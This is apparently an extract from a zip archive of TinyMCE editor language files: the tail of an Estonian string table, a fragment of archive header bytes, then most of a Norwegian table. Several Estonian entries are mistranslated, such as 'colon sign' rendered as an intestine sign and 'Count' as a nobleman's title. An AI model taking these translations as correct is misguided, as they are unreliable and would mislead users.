"Justify": "Joonda r\u00f6\u00f6pselt",
"Bullet list": "J\u00e4rjestamata loend",
"Numbered list": "J\u00e4rjestatud loend",
"Decrease indent": "V\u00e4henda taanet",
"Increase indent": "Suurenda taanet",
"Close": "Sulge",
"Formats": "Vormingud",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Sinu veebilehitseja ei toeta otsest ligip\u00e4\u00e4su l\u00f5ikelauale. Palun kasuta selle asemel klaviatuuri kiirk\u00e4sklusi Ctrl+X\/C\/V.",
"Headers": "P\u00e4ised",
"Header 1": "Pealkiri 1",
"Header 2": "Pealkiri 2",
"Header 3": "Pealkiri 3",
"Header 4": "Pealkiri 4",
"Header 5": "Pealkiri 5",
"Header 6": "Pealkiri 6",
"Headings": "Pealkirjad",
"Heading 1": "Pealkiri 1",
"Heading 2": "Pealkiri 2",
"Heading 3": "Pealkiri 3",
"Heading 4": "Pealkiri 4",
"Heading 5": "Pealkiri 5",
"Heading 6": "Pealkiri 6",
"Preformatted": "Eelvormindaud",
"Div": "Sektsioon",
"Pre": "Eelvormindatud",
"Code": "Kood",
"Paragraph": "L\u00f5ik",
"Blockquote": "Plokktsitaat",
"Inline": "Reasisene",
"Blocks": "Plokid",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Asetamine on n\u00fc\u00fcd tekstire\u017eiimis. Sisu asetatakse n\u00fc\u00fcd lihttekstina, kuni sa l\u00fclitad selle valiku v\u00e4lja.",
"Fonts": "Fondid",
"Font Sizes": "Kirja suurused",
"Class": "Klass",
"Browse for an image": "Sirvi pilte",
"OR": "V\u00d5I",
"Drop an image here": "Kukuta pilt siia",
"Upload": "\u00dcles laadimine",
"Block": "Plokk",
"Align": "Joonda",
"Default": "Vaikimisi",
"Circle": "Ring",
"Disc": "Ketas",
"Square": "Ruut",
"Lower Alpha": "V\u00e4iket\u00e4hed (a, b, c)",
"Lower Greek": "Kreeka v\u00e4iket\u00e4hed (\u03b1, \u03b2, \u03b3)",
"Lower Roman": "Rooma v\u00e4iket\u00e4hed (i, ii, iii)",
"Upper Alpha": "Suurt\u00e4hed (A, B, C)",
"Upper Roman": "Rooma suurt\u00e4hed (I, II, III)",
"Anchor...": "Ankur ...",
"Name": "Nimi",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "ID peaks algama t\u00e4hega ning sellele peaks j\u00e4rgnema ainult t\u00e4hed, arvud, sidekriipsud, punktid, koolonid v\u00f5i alakriipsud.",
"You have unsaved changes are you sure you want to navigate away?": "Sul on salvestamata muudatusi. Oled Sa kindel, et soovid mujale navigeeruda?",
"Restore last draft": "Taasta viimane mustand",
"Special character...": "Eriline tegelane ...",
"Source code": "L\u00e4htekood",
"Insert\/Edit code sample": "Sisesta\/muuda koodin\u00e4idis",
"Language": "Keel",
"Code sample...": "Koodin\u00e4ide ...",
"Color Picker": "V\u00e4rvivalija",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Vasakult paremale",
"Right to left": "Paremalt vasakule",
"Emoticons...": "Emotikonid ...",
"Metadata and Document Properties": "Metaandmed ja dokumendi atribuudid",
"Title": "Pealkiri",
"Keywords": "M\u00e4rks\u00f5nad",
"Description": "Kirjeldus",
"Robots": "Robotid",
"Author": "Autor",
"Encoding": "M\u00e4rgistik",
"Fullscreen": "T\u00e4isekraan",
"Action": "Tegevus",
"Shortcut": "Otsetee",
"Help": "Abiinfo",
"Address": "Aadress",
"Focus to menubar": "Fookus men\u00fc\u00fcribale",
"Focus to toolbar": "Fookus t\u00f6\u00f6riistaribale",
"Focus to element path": "Fookus elemendi asukohale",
"Focus to contextual toolbar": "Fookus kontekstimen\u00fc\u00fcle",
"Insert link (if link plugin activated)": "Sisesta link (kui lingi plugin on aktiveeritud)",
"Save (if save plugin activated)": "Salvesta (kui salvestamise plugin on aktiveeritud)",
"Find (if searchreplace plugin activated)": "Otsi (kui plugin searchreplace on aktiveeritud)",
"Plugins installed ({0}):": "Pluginad on paigaldatud ({0}):",
"Premium plugins:": "Tasulised pluginad:",
"Learn more...": "Vaata lisainfot...",
"You are using {0}": "Sa kasutad {0}",
"Plugins": "Pluginad",
"Handy Shortcuts": "Mugavad otseteed",
"Horizontal line": "Horisontaaljoon",
"Insert\/edit image": "Lisa\/muuda pilt",
"Image description": "Pildi kirjeldus",
"Source": "Allikas",
"Dimensions": "M\u00f5\u00f5tmed",
"Constrain proportions": "S\u00e4ilita kuvasuhe",
"General": "\u00dcldine",
"Advanced": "T\u00e4iendavad seaded",
"Style": "Stiil",
"Vertical space": "P\u00fcstine vahe",
"Horizontal space": "Reavahe",
"Border": "\u00c4\u00e4ris",
"Insert image": "Lisa pilt",
"Image...": "Pilt ...",
"Image list": "Piltide nimekiri",
"Rotate counterclockwise": "P\u00f6\u00f6ra vastup\u00e4eva",
"Rotate clockwise": "P\u00f6\u00f6ra p\u00e4rip\u00e4eva",
"Flip vertically": "Peegelda vertikaalselt",
"Flip horizontally": "Peegelda horisontaalselt",
"Edit image": "Muuda pilti",
"Image options": "Pildi valikud",
"Zoom in": "Suumi sisse",
"Zoom out": "Suumi v\u00e4lja",
"Crop": "L\u00f5ika",
"Resize": "Muuda suurust",
"Orientation": "Suund",
"Brightness": "Heledus",
"Sharpen": "Teravamaks",
"Contrast": "Kontrast",
"Color levels": "V\u00e4rvi tasemed",
"Gamma": "Gamma",
"Invert": "P\u00f6\u00f6ra v\u00e4rvid",
"Apply": "Rakenda",
"Back": "Tagasi",
"Insert date\/time": "Lisa kuup\u00e4ev\/kellaaeg",
"Date\/time": "Kuup\u00e4ev\/kellaaeg",
"Insert\/Edit Link": "Lingi lisamine \/ muutmine",
"Insert\/edit link": "Lisa\/muuda link",
"Text to display": "Kuvatav tekst",
"Url": "Viide (url)",
"Open link in...": "Ava link saidil ...",
"Current window": "Praegune aken",
"None": "Puudub",
"New window": "Uus aken",
"Remove link": "Eemalda link",
"Anchors": "Ankrud",
"Link...": "Link...",
"Paste or type a link": "Aseta v\u00f5i sisesta link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "URL, mille sa sisestasid, n\u00e4ib olevat e-posti aadress. Kas sa soovid lisada sellele eesliite mailto: ?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "URL, mille sa sisestasid, n\u00e4ib olevat v\u00e4line link. Kas sa soovid lisada sellele eesliite http:\/\/ ?",
"Link list": "Linkide nimekiri",
"Insert video": "Lisa video",
"Insert\/edit video": "Lisa\/muuda video",
"Insert\/edit media": "Lisa\/muuda multimeediat",
"Alternative source": "Teine allikas",
"Alternative source URL": "Alternatiivne allika URL",
"Media poster (Image URL)": "Meediaplakat (pildi URL)",
"Paste your embed code below:": "Kleebi oma manustamiskood siia alla:",
"Embed": "Manusta",
"Media...": "Meedia ...",
"Nonbreaking space": "T\u00fchim\u00e4rk (nbsp)",
"Page break": "Lehevahetus",
"Paste as text": "Aseta tekstina",
"Preview": "Eelvaade",
"Print...": "Prindi ...",
"Save": "Salvesta",
"Find": "Otsi",
"Replace with": "Asendus",
"Replace": "Asenda",
"Replace all": "Asenda k\u00f5ik",
"Previous": "Eelmine",
"Next": "J\u00e4rg",
"Find and replace...": "Leidke ja asendage ...",
"Could not find the specified string.": "Ei suutnud leida etteantud s\u00f5net.",
"Match case": "Erista suur- ja v\u00e4iket\u00e4hti",
"Find whole words only": "Leidke ainult terved s\u00f5nad",
"Spell check": "\u00d5igekirja kontroll",
"Ignore": "Eira",
"Ignore all": "Eira k\u00f5iki",
"Finish": "L\u00f5peta",
"Add to Dictionary": "Lisa s\u00f5naraamatusse",
"Insert table": "Lisa tabel",
"Table properties": "Tabeli omadused",
"Delete table": "Kustuta tabel",
"Cell": "Lahter",
"Row": "Rida",
"Column": "Tulp",
"Cell properties": "Lahtri omadused",
"Merge cells": "\u00dchenda lahtrid",
"Split cell": "T\u00fckelda lahter",
"Insert row before": "Lisa rida enne",
"Insert row after": "Lisa rida j\u00e4rele",
"Delete row": "Kustuta rida",
"Row properties": "Rea omadused",
"Cut row": "L\u00f5ika rida",
"Copy row": "Kopeeri rida",
"Paste row before": "Kleebi rida enne",
"Paste row after": "Kleebi rida j\u00e4rele",
"Insert column before": "Lisa tulp enne",
"Insert column after": "Lisa tulp j\u00e4rele",
"Delete column": "Kustuta tulp",
"Cols": "Veerud",
"Rows": "Read",
"Width": "Laius",
"Height": "K\u00f5rgus",
"Cell spacing": "Lahtrivahe",
"Cell padding": "Lahtri sisu ja tabeli \u00e4\u00e4rise vahe",
"Show caption": "Kuva pealdis",
"Left": "Vasakul",
"Center": "Keskel",
"Right": "Paremal",
"Cell type": "Lahtri t\u00fc\u00fcp",
"Scope": "Ulatus",
"Alignment": "Joondus",
"H Align": "H Joondus",
"V Align": "V Joondus",
"Top": "\u00dcleval",
"Middle": "Keskel",
"Bottom": "All",
"Header cell": "P\u00e4islahter",
"Row group": "Ridade r\u00fchm",
"Column group": "Veergude r\u00fchm",
"Row type": "Rea t\u00fc\u00fcp",
"Header": "P\u00e4is",
"Body": "P\u00f5hiosa",
"Footer": "Jalus",
"Border color": "Piirjoone v\u00e4rv",
"Insert template...": "Sisesta mall ...",
"Templates": "Mallid",
"Template": "Mall",
"Text color": "Teksti v\u00e4rv",
"Background color": "Tausta v\u00e4rv",
"Custom...": "Kohandatud...",
"Custom color": "Kohandatud v\u00e4rv",
"No color": "V\u00e4rvi pole",
"Remove color": "Eemaldage v\u00e4rv",
"Table of Contents": "Sisukord",
"Show blocks": "N\u00e4ita plokke",
"Show invisible characters": "N\u00e4ita peidetud m\u00e4rke",
"Word count": "S\u00f5nade arv",
"Count": "Krahv",
"Document": "Dokument",
"Selection": "Valik",
"Words": "S\u00f5nad",
"Words: {0}": "S\u00f5nu: {0}",
"{0} words": "{0} s\u00f5na",
"File": "Fail",
"Edit": "Muuda",
"Insert": "Sisesta",
"View": "Vaade",
"Format": "Vorming",
"Table": "Tabel",
"Tools": "T\u00f6\u00f6riistad",
"Powered by {0}": "Kasutatud tarkvara {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rikastatud teksti ala. Men\u00fc\u00fc jaoks vajuta ALT-F9. T\u00f6\u00f6riistariba jaoks vajuta ALT-F10. Abi saamiseks vajuta ALT-0.",
"Image title": "Pildi pealkiri",
"Border width": "\u00c4\u00e4rise laius",
"Border style": "Piiri stiil",
"Error": "Viga",
"Warn": "Hoiatage",
"Valid": "Kehtib",
"To open the popup, press Shift+Enter": "H\u00fcpikakna avamiseks vajutage t\u00f5stuklahvi + sisestusklahvi",
"Rich Text Area. Press ALT-0 for help.": "Rikasteksti ala. Abi saamiseks vajutage ALT-0.",
"System Font": "S\u00fcsteemi font",
"Failed to upload image: {0}": "Pildi \u00fcleslaadimine eba\u00f5nnestus: {0}",
"Failed to load plugin: {0} from url {1}": "Pistikprogrammi laadimine nurjus: {0} URL-ist {1}",
"Failed to load plugin url: {0}": "Pistikprogrammi URL-i laadimine nurjus: {0}",
"Failed to initialize plugin: {0}": "Pistikprogrammi l\u00e4htestamine eba\u00f5nnestus: {0}",
"example": "n\u00e4ide",
"Search": "Otsing",
"All": "K\u00f5ik",
"Currency": "Valuuta",
"Text": "Tekst",
"Quotations": "Tsitaadid",
"Mathematical": "Matemaatiline",
"Extended Latin": "Laiendatud ladina keel",
"Symbols": "S\u00fcmbolid",
"Arrows": "Nooled",
"User Defined": "Kasutaja m\u00e4\u00e4ratud",
"dollar sign": "dollari m\u00e4rk",
"currency sign": "v\u00e4\u00e4ringu m\u00e4rk",
"euro-currency sign": "euro v\u00e4\u00e4ringu m\u00e4rk",
"colon sign": "j\u00e4mesoole m\u00e4rk",
"cruzeiro sign": "cruzeiro m\u00e4rk",
"french franc sign": "Prantsuse frangi m\u00e4rk",
"lira sign": "liiri m\u00e4rk",
"mill sign": "veskim\u00e4rk",
"naira sign": "naira m\u00e4rk",
"peseta sign": "peseta m\u00e4rk",
"rupee sign": "ruupia m\u00e4rk",
"won sign": "v\u00f5itis m\u00e4rgi",
"new sheqel sign": "uus \u0161ekeli m\u00e4rk",
"dong sign": "dongi m\u00e4rk",
"kip sign": "kip m\u00e4rk",
"tugrik sign": "tugriku m\u00e4rk",
"drachma sign": "drahmam\u00e4rk",
"german penny symbol": "saksa senti s\u00fcmbol",
"peso sign": "peeso m\u00e4rk",
"guarani sign": "guarani m\u00e4rk",
"austral sign": "austraalne m\u00e4rk",
"hryvnia sign": "grivna m\u00e4rk",
"cedi sign": "cedi m\u00e4rk",
"livre tournois sign": "elav turniiri m\u00e4rk",
"spesmilo sign": "spesmilo m\u00e4rk",
"tenge sign": "tenge m\u00e4rk",
"indian rupee sign": "India ruupia m\u00e4rk",
"turkish lira sign": "t\u00fcrgi liiri m\u00e4rk",
"nordic mark sign": "p\u00f5hjam\u00e4rgi m\u00e4rk",
"manat sign": "manati m\u00e4rk",
"ruble sign": "rubla m\u00e4rk",
"yen character": "jeeni tegelaskuju",
"yuan character": "j\u00fcaani tegelaskuju",
"yuan character, in hong kong and taiwan": "j\u00fcaani tegelane, Hongkongis ja Taiwanis",
"yen\/yuan character variant one": "jeeni \/ j\u00fcaani t\u00e4hem\u00e4rgi variant \u00fcks",
"Loading emoticons...": "Emotikonide laadimine ...",
"Could not load emoticons": "Emotikonide laadimine nurjus",
"People": "Inimesed",
"Animals and Nature": "Loomad ja loodus",
"Food and Drink": "Toit ja jook",
"Activity": "Tegevus",
"Travel and Places": "Reisimine ja kohad",
"Objects": "Objektid",
"Flags": "Lipud",
"Characters": "Tegelased",
"Characters (no spaces)": "M\u00e4rgid (t\u00fchikud puuduvad)",
"{0} characters": "{0} t\u00e4hem\u00e4rki",
"Error: Form submit field collision.": "Viga: vormi esitamise v\u00e4lja kokkup\u00f5rge.",
"Error: No form element found.": "Viga: vormielementi ei leitud.",
"Update": "Uuenda",
"Color swatch": "V\u00e4rvivalik",
"Turquoise": "T\u00fcrkiis",
"Green": "Roheline",
"Blue": "Sinine",
"Purple": "Lilla",
"Navy Blue": "Merev\u00e4e sinine",
"Dark Turquoise": "Tume t\u00fcrkiissinine",
"Dark Green": "Tumeroheline",
"Medium Blue": "Keskmine sinine",
"Medium Purple": "Keskmine lilla",
"Midnight Blue": "Kesk\u00f6ine sinine",
"Yellow": "Kollane",
"Orange": "Oran\u017e",
"Red": "Punane",
"Light Gray": "Helehall",
"Gray": "Hall",
"Dark Yellow": "Tumekollane",
"Dark Orange": "Tumeoran\u017e",
"Dark Red": "Tumepunane",
"Medium Gray": "Keskmiselt hall",
"Dark Gray": "Tumehall",
"Light Green": "Heleroheline",
"Light Yellow": "Helekollane",
"Light Red": "Helepunane",
"Light Purple": "Helelilla",
"Light Blue": "Helesinine",
"Dark Purple": "Tumelilla",
"Dark Blue": "Tumesinine",
"Black": "Must",
"White": "Valge",
"Switch to or from fullscreen mode": "L\u00fclitumine t\u00e4isekraanre\u017eiimile v\u00f5i sellest v\u00e4lja",
"Open help dialog": "Ava dialoog",
"history": "ajalugu",
"styles": "stiilid",
"formatting": "vormindamine",
"alignment": "joondamine",
"indentation": "taane",
"permanent pen": "p\u00fcsiv pliiats",
"comments": "kommentaare",
"Format Painter": "Format Painter",
"Insert\/edit iframe": "Sisesta \/ redigeeri iframe",
"Capitalization": "Suurt\u00e4htede kasutamine",
"lowercase": "v\u00e4iket\u00e4hed",
"UPPERCASE": "\u00dcLEMINEK",
"Title Case": "Pealkirja juhtum",
"Permanent Pen Properties": "P\u00fcsivad pliiatsi omadused",
"Permanent pen properties...": "Pliiatsi p\u00fcsivad omadused ...",
"Font": "Font",
"Size": "Suurus",
"More...": "Veel ...",
"Spellcheck Language": "\u00d5igekirjakontroll",
"Select...": "Valige ...",
"Preferences": "Eelistused",
"Yes": "Jah",
"No": "Ei",
"Keyboard Navigation": "Klaviatuuril navigeerimine",
"Version": "Versioon",
"Anchor": "Ankur",
"Special character": "Erim\u00e4rk",
"Code sample": "Koodi n\u00e4idis",
"Color": "V\u00e4rv",
"Emoticons": "Emotikonid",
"Document properties": "Dokumendi omadused",
"Image": "Pilt",
"Insert link": "Lisa link",
"Target": "Sihtm\u00e4rk",
"Link": "Link",
"Poster": "Lisaja",
"Media": "Multimeedia",
"Print": "Tr\u00fcki",
"Prev": "Eelm",
"Find and replace": "Otsi ja asenda",
"Whole words": "Terviks\u00f5nad",
"Spellcheck": "\u00d5igekirja kontroll",
"Caption": "Alapealkiri",
"Insert template": "Lisa mall"
});PK
h�\���GBB!program/js/tinymce/langs/nb_NO.jsnu�[���tinymce.addI18n('nb_NO',{
"Redo": "Gj\u00f8r om",
"Undo": "Angre",
"Cut": "Klipp ut",
"Copy": "Kopier",
"Paste": "Lim inn",
"Select all": "Marker alt",
"New document": "Nytt dokument",
"Ok": "Ok",
"Cancel": "Avbryt",
"Visual aids": "Visuelle hjelpemidler",
"Bold": "Fet",
"Italic": "Kursiv",
"Underline": "Understreking",
"Strikethrough": "Gjennomstreking",
"Superscript": "Hevet skrift",
"Subscript": "Senket skrift",
"Clear formatting": "Fjern formateringer",
"Align left": "Venstrejuster",
"Align center": "Midtstill",
"Align right": "H\u00f8yrejuster",
"Justify": "Blokkjuster",
"Bullet list": "Punktliste",
"Numbered list": "Nummerliste",
"Decrease indent": "Reduser innrykk",
"Increase indent": "\u00d8k innrykk",
"Close": "Lukk",
"Formats": "Stiler",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Nettleseren din st\u00f8tter ikke direkte tilgang til utklippsboken. Bruk istedet tastatursnarveiene Ctrl+X\/C\/V.",
"Headers": "Overskrifter",
"Header 1": "Overskrift 1",
"Header 2": "Overskrift 2",
"Header 3": "Overskrift 3",
"Header 4": "Overskrift 4",
"Header 5": "Overskrift 5",
"Header 6": "Overskrift 6",
"Headings": "Overskrifter",
"Heading 1": "Overskrift 1",
"Heading 2": "Overskrift 2",
"Heading 3": "Overskrift 3",
"Heading 4": "Overskrift 4",
"Heading 5": "Overskrift 5",
"Heading 6": "Overskrift 6",
"Preformatted": "Forh\u00e5ndsformatert",
"Div": "Div",
"Pre": "Pre",
"Code": "Kode",
"Paragraph": "Avsnitt",
"Blockquote": "Blockquote",
"Inline": "Innkapslet",
"Blocks": "Blokker",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Lim inn er n\u00e5 i ren-tekst modus. Kopiert innhold vil bli limt inn som ren tekst inntil du sl\u00e5r av dette valget.",
"Fonts": "Fonter",
"Font Sizes": "Fontst\u00f8rrelser",
"Class": "Klasse",
"Browse for an image": "S\u00f8k etter bilde",
"OR": "OR",
"Drop an image here": "Slipp et bilde her",
"Upload": "Last opp",
"Block": "Blokk",
"Align": "Juster",
"Default": "Normal",
"Circle": "\u00c5pen sirkel",
"Disc": "Fylt sirkel",
"Square": "Fylt firkant",
"Lower Alpha": "Minuskler",
"Lower Greek": "Greske minuskler",
"Lower Roman": "Romerske minuskler",
"Upper Alpha": "Versaler",
"Upper Roman": "Romerske versaler",
"Anchor...": "Lenke",
"Name": "Navn",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id burde starte med en bokstav, bare fulgt av bokstaver, nummer, streker, punktum, koloner eller understreker.",
"You have unsaved changes are you sure you want to navigate away?": "Du har ikke arkivert endringene. Vil du fortsette uten \u00e5 arkivere?",
"Restore last draft": "Gjenopprett siste utkast",
"Special character...": "Spesialtegn...",
"Source code": "Kildekode",
"Insert\/Edit code sample": "Sett inn\/endre kodeeksempel",
"Language": "Spr\u00e5k",
"Code sample...": "Kodeeksempel",
"Color Picker": "Fargevelger",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Venstre til h\u00f8yre",
"Right to left": "H\u00f8yre til venstre",
"Emoticons": "Hum\u00f8rfjes",
"Emoticons...": "Emoticons..",
"Metadata and Document Properties": "Metadata og dokumentverdier",
"Title": "Tittel",
"Keywords": "N\u00f8kkelord",
"Description": "Beskrivelse",
"Robots": "Roboter",
"Author": "Forfatter",
"Encoding": "Tegnkoding",
"Fullscreen": "Fullskjerm",
"Action": "Handling",
"Shortcut": "Snarvei",
"Help": "Hjelp",
"Address": "Adresse",
"Focus to menubar": "Fokus p\u00e5 menylinje",
"Focus to toolbar": "Fokus p\u00e5 verkt\u00f8ylinje",
"Focus to element path": "Fokus p\u00e5 elementsti",
"Focus to contextual toolbar": "Fokus p\u00e5 kontekstuell verkt\u00f8ylinje",
"Insert link (if link plugin activated)": "Sett inn lenke (dersom lenketillegg er aktivert)",
"Save (if save plugin activated)": "Lagre (dersom lagretillegg er aktivert)",
"Find (if searchreplace plugin activated)": "Finn (dersom tillegg for s\u00f8k og erstatt er aktivert)",
"Plugins installed ({0}):": "Installerte tillegg ({0}):",
"Premium plugins:": "Premiumtillegg:",
"Learn more...": "Les mer ...",
"You are using {0}": "Du bruker {0}",
"Plugins": "Tillegg",
"Handy Shortcuts": "Nyttige snarveier",
"Horizontal line": "Horisontal linje",
"Insert\/edit image": "Sett inn\/endre bilde",
"Alternative description": "Alternativ beskrivelse",
"Accessibility": "Tilgjengelighet",
"Image is decorative": "Bilde er dekorasjon",
"Source": "Bildelenke",
"Dimensions": "Dimensjoner",
"Constrain proportions": "Behold proporsjoner",
"General": "Generelt",
"Advanced": "Avansert",
"Style": "Stil",
"Vertical space": "Vertikal marg",
"Horizontal space": "Horisontal marg",
"Border": "Ramme",
"Insert image": "Sett inn bilde",
"Image...": "Bilde...",
"Image list": "Bildeliste",
"Rotate counterclockwise": "Roter mot venstre",
"Rotate clockwise": "Roter mot h\u00f8yre",
"Flip vertically": "Speilvend vertikalt",
"Flip horizontally": "Speilvend horisontalt",
"Edit image": "Rediger bilde",
"Image options": "Bilde innstillinger",
"Zoom in": "Zoom inn",
"Zoom out": "Zoom ut",
"Crop": "Beskj\u00e6r",
"Resize": "Skaler",
"Orientation": "Orientering",
"Brightness": "Lysstyrke",
"Sharpen": "Skarphet",
"Contrast": "Kontrast",
"Color levels": "Fargeniv\u00e5",
"Gamma": "Gamma",
"Invert": "Inverter",
"Apply": "Utf\u00f8r",
"Back": "Tilbake",
"Insert date\/time": "Sett inn dato\/tid",
"Date\/time": "Dato\/tid",
"Insert\/edit link": "Sett inn\/endre lenke",
"Text to display": "Tekst som skal vises",
"Url": "Url",
"Open link in...": "\u00c5pne lenke i..",
"Current window": "N\u00e5v\u00e6rende vindu",
"None": "Ingen",
"New window": "Nytt vindu",
"Open link": "\u00c5pne lenke",
"Remove link": "Fjern lenke",
"Anchors": "Anker",
"Link...": "Lenke...",
"Paste or type a link": "Lim inn eller skriv en lenke",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Oppgitte URL ser ut til \u00e5 v\u00e6re en epost-adresse. \u00d8nsker du \u00e5 sette inn p\u00e5krevet mailto: prefiks forran epost-adressen?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Oppgitt URL ser ut til \u00e5 v\u00e6re en e-postadresse. \u00d8nsker du \u00e5 sette inn p\u00e5krevd mailto:-prefiks foran e-postadressen?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "Nettadressen du fylte inn ser ut til \u00e5 v\u00e6re en ekstern. \u00d8nsker du \u00e5 legge til p\u00e5krevd 'https:\/\/'-prefiks?",
"Link list": "Lenkeliste",
"Insert video": "Sett inn video",
"Insert\/edit video": "Sett inn\/rediger video",
"Insert\/edit media": "Sett inn\/endre media",
"Alternative source": "Alternativ kilde",
"Alternative source URL": "Alternativ kilde URL",
"Media poster (Image URL)": "Mediaposter (bilde-URL)",
"Paste your embed code below:": "Lim inn  inkluderings-koden nedenfor",
"Embed": "Inkluder",
"Media...": "Media..",
"Nonbreaking space": "Hardt mellomrom",
"Page break": "Sideskifte",
"Paste as text": "Lim inn som tekst",
"Preview": "Forh\u00e5ndsvisning",
"Print...": "Skriv ut...",
"Save": "Arkiver",
"Find": "Finn",
"Replace with": "Erstatt med",
"Replace": "Erstatt",
"Replace all": "Erstatt alle",
"Previous": "Forrige",
"Next": "Neste",
"Find and Replace": "Finn og erstatt",
"Find and replace...": "Finn og erstatt...",
"Could not find the specified string.": "Kunne ikke finne den spesifiserte teksten",
"Match case": "Match store og sm\u00e5 bokstaver",
"Find whole words only": "Finn kun hele ord",
"Find in selection": "Finn i utvalg",
"Spellcheck": "Stavekontroll",
"Spellcheck Language": "Stavekontroller spr\u00e5k",
"No misspellings found.": "Ingen feilstaving funnet",
"Ignore": "Ignorer",
"Ignore all": "Ignorer alle",
"Finish": "Avslutt",
"Add to Dictionary": "Legg til i ordliste",
"Insert table": "Sett inn tabell",
"Table properties": "Tabell egenskaper",
"Delete table": "Slett tabell",
"Cell": "Celle",
"Row": "Rad",
"Column": "Kolonne",
"Cell properties": "Celle egenskaper",
"Merge cells": "Sl\u00e5 sammen celler",
"Split cell": "Splitt celle",
"Insert row before": "Sett inn rad f\u00f8r",
"Insert row after": "Sett in rad etter",
"Delete row": "Slett rad",
"Row properties": "Rad egenskaper",
"Cut row": "Klipp ut rad",
"Copy row": "Kopier rad",
"Paste row before": "Lim inn rad f\u00f8r",
"Paste row after": "Lim inn rad etter",
"Insert column before": "Sett inn kolonne f\u00f8r",
"Insert column after": "Sett inn kolonne etter",
"Delete column": "Slett kolonne",
"Cols": "Kolonner",
"Rows": "Rader",
"Width": "Bredde",
"Height": "H\u00f8yde",
"Cell spacing": "Celleavstand",
"Cell padding": "Cellemarg",
"Caption": "Tittel",
"Show caption": "Vis bildetekst",
"Left": "Venstre",
"Center": "Midtstilt",
"Right": "H\u00f8yre",
"Cell type": "Celletype",
"Scope": "Omfang",
"Alignment": "Justering",
"H Align": "H Justering",
"V Align": "V Justering",
"Top": "Topp",
"Middle": "Midten",
"Bottom": "Bunn",
"Header cell": "Topptekst-celle",
"Row group": "Radgruppe",
"Column group": "Kolonnegruppe",
"Row type": "Rad-type",
"Header": "Topptekst",
"Body": "Br\u00f8dtekst",
"Footer": "Bunntekst",
"Border color": "Rammefarge",
"Insert template...": "Sett inn mal..",
"Templates": "Maler",
"Template": "Mal",
"Text color": "Tekstfarge",
"Background color": "Bakgrunnsfarge",
"Custom...": "Tilpass...",
"Custom color": "Tilpasset farge",
"No color": "Ingen farge",
"Remove color": "Fjern farge",
"Table of Contents": "Innholdsfortegnelse",
"Show blocks": "Vis blokker",
"Show invisible characters": "Vis skjulte tegn",
"Word count": "Ordtelling",
"Count": "Opptelling",
"Document": "Dokument",
"Selection": "Utvalg",
"Words": "Ord",
"Words: {0}": "Antall ord: {0}",
"{0} words": "{0} ord",
"File": "Arkiv",
"Edit": "Rediger",
"Insert": "Sett inn",
"View": "Vis",
"Format": "Format",
"Table": "Tabell",
"Tools": "Verkt\u00f8y",
"Powered by {0}": "Redigert med {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Tekstredigering. Tast ALT-F9 for meny. Tast ALT-F10 for verkt\u00f8ys-rader. Tast ALT-0 for hjelp.",
"Image title": "Bildetittel",
"Border width": "Bordbredde",
"Border style": "Bordstil",
"Error": "Feil",
"Warn": "Advarsel",
"Valid": "Gyldig",
"To open the popup, press Shift+Enter": "For \u00e5 \u00e5pne popup, trykk Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Rik-tekstomr\u00e5de. Trykk ALT-0 for hjelp.",
"System Font": "Systemfont",
"Failed to upload image: {0}": "Opplasting av bilde feilet: {0}",
"Failed to load plugin: {0} from url {1}": "Kunne ikke laste tillegg: {0} from url {1}",
"Failed to load plugin url: {0}": "Kunne ikke laste tillegg url: {0}",
"Failed to initialize plugin: {0}": "Kunne ikke initialisere tillegg: {0}",
"example": "eksempel",
"Search": "S\u00f8k",
"All": "Alle",
"Currency": "Valuta",
"Text": "Tekst",
"Quotations": "Sitater",
"Mathematical": "Matematisk",
"Extended Latin": "Utvidet latin",
"Symbols": "Symboler",
"Arrows": "Piler",
"User Defined": "Brukerdefinert",
"dollar sign": "dollartegn",
"currency sign": "valutasymbol",
"euro-currency sign": "Euro-valutasymbol",
"colon sign": "kolon-symbol",
"cruzeiro sign": "cruzeiro-symbol",
"french franc sign": "franske franc-symbol",
"lira sign": "lire-symbol",
"mill sign": "mill-symbol",
"naira sign": "naira-symbol",
"peseta sign": "peseta-symbol",
"rupee sign": "rupee-symbol",
"won sign": "won-symbol",
"new sheqel sign": "Ny sheqel-symbol",
"dong sign": "dong-symbol",
"kip sign": "kip-symbol",
"tugrik sign": "tugrik-symbol",
"drachma sign": "drachma-symbol",
"german penny symbol": "tysk penny-symbol",
"peso sign": "peso-symbol",
"guarani sign": "quarani-symbol",
"austral sign": "austral-symbol",
"hryvnia sign": "hryvina-symbol",
"cedi sign": "credi-symbol",
"livre tournois sign": "livre tournois-symbol",
"spesmilo sign": "spesmilo-symbol",
"tenge sign": "tenge-symbol",
"indian rupee sign": "indisk rupee-symbol",
"turkish lira sign": "tyrkisk lire-symbol",
"nordic mark sign": "nordisk mark-symbol",
"manat sign": "manat-symbol",
"ruble sign": "ruble-symbol",
"yen character": "yen-symbol",
"yuan character": "yuan-symbol",
"yuan character, in hong kong and taiwan": "yuan-symbol, i Hongkong og Taiwan",
"yen\/yuan character variant one": "yen\/yuan-symbol variant en",
"Loading emoticons...": "Laster emoticons..",
"Could not load emoticons": "Kunne ikke laste emoticons",
"People": "Mennesker",
"Animals and Nature": "Dyr og natur",
"Food and Drink": "Mat og drikke",
"Activity": "Aktivitet",
"Travel and Places": "Reise og steder",
"Objects": "Objekter",
"Flags": "Flagg",
"Characters": "Tegn",
